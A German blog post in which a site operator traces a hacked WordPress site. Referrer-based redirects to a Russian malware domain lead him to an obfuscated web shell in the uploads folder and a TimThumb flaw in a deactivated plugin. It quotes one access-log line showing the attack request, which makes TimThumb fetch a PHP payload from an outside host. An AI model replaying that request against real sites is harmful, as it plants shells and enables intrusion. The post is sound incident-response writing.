Es hätte so ein ruhiger Tag werden können... aber wer kennt das nicht, man ist auf dem Weg ins Büro und das Handy klingelt. Ein Arbeitskollege spricht angespannt am anderen Ende der Leitung: "Ich glaube ich habe da ein Problem - ich habe wohl einen Trojaner".
Als wenn dieser Satz nicht schon genug gewesen wäre, es folgt ein weiterer: "Den Trojaner habe ich mir eingefangen beim Besuchen der Webseite der collaborativeRockers (kurz: cR)" - zum Verständnis: die besagte Webseite liegt auf einem meiner Server und ich bin mit den Betreibern befreundet.
Im Büro angekommen habe ich direkt damit begonnen dem Problem auf die Spur zu kommen, auf der Facebook-Pinnwand von einem cR-Mitglied wurde schon rege darüber diskutiert. Meine Interpretation der Einträge war in etwa wie folgt:
Beim Aufrufen der Webseite von collaborativeRockers.de kommt man auf eine russische Seite welche versucht irgendwelche Trojaner o.ä. auf dem lokalen System zu installieren. Jedoch kam die Umleitung auf diese russische Webseite nicht immer, sondern (so zu diesem Zeitpunkt bekannt) nur beim Klicken auf einen Link der bei Facebook gepostet wurde.
Zu einem späteren Zeitpunkt wurde außerdem festgestellt, dass die Umleitung auch aktiv wurde wenn man auf einen Link bei Google zu dieser Seite klickte. Nachdem man einmal diese Umleitung auf die russische Domain bekam, konnte die ursprüngliche Seite nicht mehr aufgerufen werden.
Zu Analysezwecken habe ich mit dem FireFox im private-Modus gearbeitet, in diesem werden u.a. keine Cookies gespeichert. Nach ein paar Versuchen wurde klar wieso das oben beschriebene Problem nicht sofort bei jedem zu sehen war. Der Browser bekam bei einem Aufruf von cR via Facebook oder auch Google eine HTTP-Statusmeldung "permanently moved" (301) was zur Folge hat dass der Browser sich im Cookie (oder einem browserinternen Speicher) merkt dass er beim Aufruf der Seite in Zukunft direkt auf die andere URL gehen kann.
Aber wie kann das sein? Wo kommt diese Umleitung eigentlich her? Die Diskussion auf Facebook ließ eigentlich nichts aus, von einem Hack des Servers über manipulierte DNS-Einträge wurde überlegt wie man dem ganzen auf die Schliche kommen kann.
Da der generierte HTML-Code der eigentlichen cR-Seite keine Auffälligkeiten aufwies vermutete ich das Problem woanders. Eine DNS-Manipulation oder gar dass der Server gehackt worden sei konnte ich mir nicht vorstellen, dann wäre doch cR nicht die einzige Seite auf meinem Server mit diesem Phänomen. Ich zog mir schließlich per FTP eine Kopie der cR-Seite um lokal ein wenig im Quellcode herumschnüffeln zu können. Ich schaute als erstes in die .htaccess (eine Konfigurationsdatei für verzeichnisspezifische Webservereinstellungen) und wurde direkt fündig. Ich fand in dieser Datei eine Regel die in etwa folgendes aussagte:
"Wenn ein Besucher diese Seite besucht und im Referer (also wo er auf den Link geklickt hat) eine der folgenden Hosts [facebook, google, ask, bing, yahoo, ...] vorkommt dann leite den Nutzer direkt auf die URL xxxxxxxxxx.ru".
Ich setzte die .htaccess dann auf den Ursprungszustand von WordPress, wusste aber noch nicht wie dieses Codefragment in die .htaccess gelangen konnte. Die Schreibrechte der Datei lagen bei 444 (was so viel bedeutet wie "darf nur gelesen werden"), einen direkten Zugriff auf die Datei durch ein Script schloss ich daher zunächst aus. Was wäre wenn die veränderte Datei einfach via FTP hochgeladen wurde? Ich durchsuchte also das FTP-Log nach der .htaccess, jedoch ohne Erfolg.
Ich schaute rein zufällig nochmal auf die .htaccess auf dem Webserver und stellte fest dass das besagte Codefragment wieder in der Datei zu finden war. Es musste also ein Script geben was zum aktuellen Zeitpunkt Zugriff auf die Datei hat oder einer Person Zugriff auf diese Datei ermöglichte. Das FTP-Log zeigte weiterhin nichts Auffälliges an. Also schaute ich in das Access-Log der letzten 30 Minuten und entdeckte einen Aufruf der mich stutzig machte. Der Aufruf erfolgte auf eine _cache.php - was an sich ja kein verdächtiger Name ist, jedoch machte mich der Aufenthaltsort der Datei stutzig, die Datei lag nämlich im Standard-Upload-Verzeichnis von WordPress (wp-content/uploads/). Dort sollten für mein Verständnis (ohne große Erfahrung mit WordPress zu haben) keine ausführbaren Skripte liegen dürfen.
Direkt beim Öffnen der Datei konnte man sehen dass dort etwas nicht stimmte. Der Code war bis zur Unlesbarkeit verschlüsselt. Beim Versuch diesen zu entschlüsseln landete ich auf einem Eintrag bei Stackoverflow, wo andere User bereits mit dieser Datei gekämpft hatten. Der entschlüsselte Code ließ auf eine modifizierte Version der berüchtigten c99-shell schließen. Durch einen simplen Aufruf der Datei im Browser wurde deutlich, dass es in der Tat eine Shell war. Über das dortige Interface konnte man spielend leicht Dateien oder auch Dateirechte verändern.
Nun wusste ich also schon mal wie die Umleitung zu Stande kommt und wie die .htaccess manipuliert wurde. Aber wie kam dieses Shell-Skript auf den Webserver? Der Zeitstempel (19.01.2012) der _cache.php half beim Finden der eigentlichen Lücke enorm. Das Access-Log hatte am 19.1. lediglich einen Aufruf der _cache.php protokolliert. Die IP von welcher der Aufruf kam hatte kurz zuvor 3 weitere Pfade auf dem Webserver angesteuert, was auf den ersten Blick wiedermal nicht verdächtig wirkte. Beim genaueren Hinsehen stolperte ich aber über folgende Zeile:
[19/Jan/2012:14:38:14 +0100] "GET /wp-content/plugins/wp-mobile-detector/timthumb.php?src=http%3A%2F%2Fsocialhostpicasa.com%2Fupload%2Fthumbs%2Favatar5.php HTTP/1.1"
Das Script sollte im eigentlichen ein Avatar von einer externen Quelle herunterladen, aber wieso hat ein Avatar die Dateiendung ".php"? Ich lud die Datei herunter und staunte nicht schlecht, statt einer normalen Grafik handelte es sich hierbei um eine manipulierte GIF-Datei, deren Inhalt eine Datei hochladen ließ.
Und nun kommt die Krux. Das Addon "wp-mobile-detector" war zum Zeitpunkt dieses Aufrufs deaktiviert, was jedoch lediglich das Einbinden in den WordPress-Blog selbst unterbindet. Die Dateien bleiben weiterhin erreichbar in einem Bereich des Webservers.
Durch das Löschen des Plugins, dem Entfernen der _cache.php und dem zurücksetzen der .htaccess konnten wir dem Biest also doch noch den gar ausmachen!
Zu guter Letzt muss ich noch Phil danken, der mich bei der Analyse des Problems unterstützt hat.
// Nachtrag:
Die eigentliche Lücke liegt im Timthumb, welches jedoch vom wp-mobile-detector verwendet wird. Siehe: https://wordpress.org/extend/plugins/timthumb-vulnerability-scanner/
Neuen Kommentar schreiben